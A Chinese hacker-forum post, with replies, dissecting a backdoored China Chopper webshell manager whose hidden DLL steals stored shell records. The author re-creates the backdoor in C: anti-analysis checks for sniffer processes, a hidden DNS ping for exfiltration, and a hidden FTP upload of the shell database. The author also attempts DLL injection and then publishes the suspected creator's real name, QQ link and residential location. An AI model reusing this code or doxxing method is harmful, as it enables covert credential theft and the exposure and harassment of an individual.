中国菜刀-它到底做错了什么?
中国菜刀-它到底做错了什么?
起因
很长一段时间总是闲来无事,但作为人类总要做些什么,要不然会疯掉,于是我选择了整天在群里瞎扯淡,瞎扯淡也是门学问,扯的好或者不好,都不能把这个淡长久的扯下去,于是我开始寻找那个所谓的平衡-咸中带淡、淡中带咸,不过这不是重点,这里就不表了。在最近的瞎扯淡中有表哥说收集到了一款中国菜刀,这款中国菜刀与众不同,被人动了手脚,于是就有了下文。
爱之初体验
得到样本后,直接解压,发现很清爽就5个文件和文件夹,也对伐,中国菜刀本来也没几个文件和文件夹,如图所示:
看了一下图标应该是14款的中国菜刀,但是db.tmp是什么鬼?WTF!先给db.tmp重命名为db.tmp.bak,再打开caidao.exe发现直接系统错误了,如图所示:
看到上面的报错,直接可以肯定db.tmp是一个dll文件,肯定有人会质疑为什么不是临时文件呢?直接用C32asm打开看看文件头吧,如图所示:
你家的临时文件张这样么?又有杠精会质疑为什么不是exe呢?把db.tmp.bak改回db.tmp,正常打开中国菜刀,使用火绒内置的火绒剑查看caidao.exe进程使用的模块,发现列表中存在db.tmp,如图所示:
这里重点安利一下火绒的火绒剑,分析就用火绒剑,黑客用了都说好,安利结束,说回正题。
都知道db.tmp是dll了,也别藏着掖着了,直接改名叫db.dll得了,清晰明了。使用C32asm打开db.dll文件,看看葫芦里都卖的什么药。
慢慢走慢慢看,一点一点往下翻,跨过山和大海在茫茫字符中看到了,猝不及防的直白,让我心痛到无法呼吸,如图所示:
忍着心痛继续往下看,穿过人山人海在茫茫字符中又看到了,别在折磨我了,俗话说:往往深情留不住,只有套路得人心。来点套路吧!别再深情告白了,各位看官都跑了,如图所示:
谁TM还没点小脾气,再TM出现我TM不看了,就算做咸鱼,我TM也要做最咸的那一条!
继续往下看,发现存在对进程的操作,以及N多流量分析工具的进程名,如图所示:
继续往下看,发现对数据库进行连接,并获取了表的全部数据,如图所示:
这个表里面存储的是什么呢?打开中国菜刀并添加数据,如图所示:
使用工具查看db.mdb数据库表的内容,发现存储的是shell记录,如图所示:
再往下看,发现后门地址,如图所示:
有关爱之初体验环节可以总结为,通过对caidao.exe文件进行修改,使caidao.exe加载db.tmp文件,对db.tmp文件分析得知该文件是dll,该dll实现的功能可以总结如下:
- 判断进程名中是否存在流量分析工具
- 连接数据库并获取shell信息
- 使用http请求传递shell信息
爱之再试探
对爱之初体验环节总结的功能使用代码进行复现。
判断某个进程名是否存在
#include"tlhelp32.h"
DWORD GetProcessIdFromName(LPCWSTR name)
{
PROCESSENTRY32 pe;
DWORD id = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe))
return 0;
while (1)
{
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32Next(hSnapshot, &pe) == FALSE)
break;
if (wcscmp(pe.szExeFile, name) == 0)
{
id = pe.th32ProcessID;
break;
}
}
CloseHandle(hSnapshot);
return id;
}
if(GetProcessIdFromName(_T("calc.exe")) || GetProcessIdFromName(_T("WSockExpert_cn.exe")) || GetProcessIdFromName(_T("WSockExpert.exe")) || GetProcessIdFromName(_T("CHKenCap.exe")) || GetProcessIdFromName(_T("SmartSniff.exe")) || GetProcessIdFromName(_T("hookME.exe")) || GetProcessIdFromName(_T("NetworkTrafficView.exe")) || GetProcessIdFromName(_T("smsniff.exe")) || GetProcessIdFromName(_T("tcpmon.exe")) || GetProcessIdFromName(_T("HttpAnalyzerStdV6.exe")) || GetProcessIdFromName(_T("Csnas.exe")) || GetProcessIdFromName(_T("Wireshark.exe"))) {
return TRUE;
}
使用http请求传递信息
研究了很久怎么用C/C++传递信息,什么winsock2都试了,无奈太菜,代码调试到最后都没成功,先放一下,暂且使用dnslog接收数据吧,等把整体搞完了再研究一下问题到底出现在哪。
#include<windows.h>
WinExec("ping -n 1 test.kdlo9x.ceye.io",SW_HIDE);
连接数据库并获取shell信息
要连接中国菜刀数据库,首先要知道cache.mdb的密码,在T00LS的QQ群里问了问表哥们,表哥说百度就有,万能的百度,如图所示:
有密码了本以为很快就要结束了,鬼知道C/C++还真是与众不同,折腾了大半天也没连上,为了进度换一种思路吧,直接通过FTP上传cache.mdb吧,这里又遇到了另外一个问题,那就是防爆菊,万一被逆向找到FTP的口令,岂不是偷鸡不成蚀把米,这里需要对下载、删除等权限进行禁止,只留下上传权限,如图所示:
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
WinExec("cmd /c echo open 192.168.64.137> cache.tmp",SW_HIDE);
Sleep(100);
WinExec("cmd /c echo ftp>> cache.tmp",SW_HIDE);
Sleep(100);
WinExec("cmd /c echo ftp>> cache.tmp",SW_HIDE);
Sleep(100);
WinExec("cmd /c echo cd db>> cache.tmp",SW_HIDE);
Sleep(100);
char str[20];
sprintf(str, "%d", time(NULL));
char file[50];
strcpy(file,"cmd /c echo put db.mdb ");
strcat(file,str);
strcat(file,".mdb>> cache.tmp");
WinExec(file,SW_HIDE);
Sleep(100);
WinExec("cmd /c echo quit>> cache.tmp",SW_HIDE);
WinExec("ftp -s:cache.tmp",SW_HIDE);
Sleep(5000);
WinExec("cmd /c echo test>cache.tmp",SW_HIDE);
dll注入到exe
这里直接使用微软开源的工具,试了下美滋滋,微软棒棒哒。
先将dll注入到自己写的小dome中看看执行的流程,如图所示:
再将dll注入到hash.exe文件中,同样可以完成操作,如图所示:
但是这里比较尴尬的是将dll注入到中国菜刀后,打开中国菜刀就崩溃了,不清楚是dll引发的菜刀崩溃,还是dll自己崩溃的,这里还在思考。
爱之终寻源
在爱之初体验环节通过对db.tmp文件进行分析,得到这个域名,通过在线whois查询,获取域名注册相关的信息,发现该域名注册人为龚玉潮,注册邮箱为[email protected],如图所示:
使用获取百度收录信息,发现居然还有两条收录,如图所示:
通过百度收录的网址进行访问,发现跳转至微美官方论坛,改网站域名为,在网站下方的在线咨询功能处获取到的QQ号码与域名whois查询到的是同一个QQ号码,说明两个网站同属一个人,如图所示:
通过使用龚玉潮 黑客和龚玉潮 hack作为关键字进行搜索,发现该人相对比较关注CC攻击和远控抓鸡,如图所示:
通过使用[email protected]作为关键字进行搜索,发现酷250网站大全存在相关信息,如图所示:
在酷250网站描述处发现网站历史IP,如图所示:
使用在线IP定位工具对IP进行定位,发现定位地址与酷250网站描述信息中的地址一致,如图所示:
东风快递都寄到小区了,怎么能不打开看看呢?说干就干,开箱验货,如图所示:
你都说了你是黑客,不如做一次极客,拆机验货,看看你心里到底有什么,如图所示:
封心锁爱,一心求财。但君子爱财,取之有道。技术是把双刃剑,能成佛,能成魔。小孩很可爱,为什么不做一些让他为之骄傲的事情呢?再多也不想说什么了,收手吧,我劝你善良。
寻人启事
上面没有用到OD,也没有用到IDA,通过也没有用到什么高深的技术或者思路,不是不想用或者用不到,而是我真的不会用。
寻求精通社工、渗透、逆向、破解、溯源、区块链、大数据、人工智能等任意技术的大佬,如果你乐意无偿同我分享技术,可以联系我,不过本菜几乎不能帮你解决任何技术上的问题,不是不想,而是太菜。
如果你同我一样菜,那么也可以联系我,只要你感兴趣的,我都可以同你一起学习。
本寻人启事并无与论坛抢人气之意,本菜也做不到,背后不存在企业靠山,无挖论坛各位大佬之意,只想找一些志同道合的人,做一些有意思的事,也许最后你会同我一样一贫如洗,但不会怨恨选择独行的自己。
瞎扯淡
最后居然不知道要说什么了,但总想说点什么。
-
表哥们学习技术是为了什么?金钱、兴趣、装逼或者其他什么?
-
做技术真的到了吃不饱饭的地步了么?表哥们经历过最穷或者最艰难的时候是什么处境?介意讲给我听吗?
-
如果真的做技术已经到了吃不饱饭的地步,转行吧!在法律允许的范畴内找一个可以吃饱饭的职业。
-
做事可以不对自己负责,但是要对爱你的和你爱的人负责,在你背后的那些人,你永远也在他们背后。
-
如果我在你的身后,我不会让一颗子弹落在你的身上。如果我牺牲了,请关照我的家人。
彩蛋
如果你看到了这里,麻烦有钱的捧个钱场,没钱的捧个人场。1TUBI不嫌少,5TUBI不嫌多。本菜至今新手上路,不曾看过老司机飙车(20权限的文章),据说顶贴可以增长TCV,麻烦各位老哥帮忙顶顶贴,助我早日拿到驾照,观看老司机飙车。
评论178次
这年头的菜刀 没几个安全的。 不需要做别的,IE 开个代理。 burp拦截,然后本地搭建环境就行了,有后门直接删除。
微软dotnet项目里面带的setdll,源码可以在微软github官方库里面找到。
这是缘分呀,老哥可以分析一下,看看有没有其他遗漏的。
这个菜刀并不是官方版本,这个是被人修改发布的免杀版本,不用说,肯定有后门
如何不被反查水表,是个技术活,哈哈哈
表哥分析的很细,已帮忙顶贴了
厉害了老哥,杀对方一个措手不及。
乘胜追击,打敌人一个措手不及啊。厉害的
研究的仔细
蚁剑除了增加了一些小功能,体验真不如菜刀,别用什么过狗刀自己验hash对比就行了
真巧,一位入门同事也在使用同款菜刀。呵呵哒
好像论坛的有个老哥发过的hash对的上的,我只用那个
这年头的菜刀 没几个安全的。 不需要做别的,IE 开个代理。 burp拦截,然后本地搭建环境就行了,有后门直接删除。
火绒剑还是强啊。
表哥的帖子写的挺好的啊,看到一个点了反对的老哥,感觉有点苛刻了。
分析就用火绒剑,黑客用了都说好
老哥还是学下od吧 下次说不定就硬看不出来了
顶大佬分析的透彻,菜刀后门太多了 几乎每个版本都有
逆向溯源分析.jpg
菜刀不更新了把
用c32asm怎么最后只用了hex编辑查看功能呀。。。。 这个明显没加壳,od动态调试一波会更快速准确。
思路清楚 操作行云流水 小弟佩服
吊吊的~~~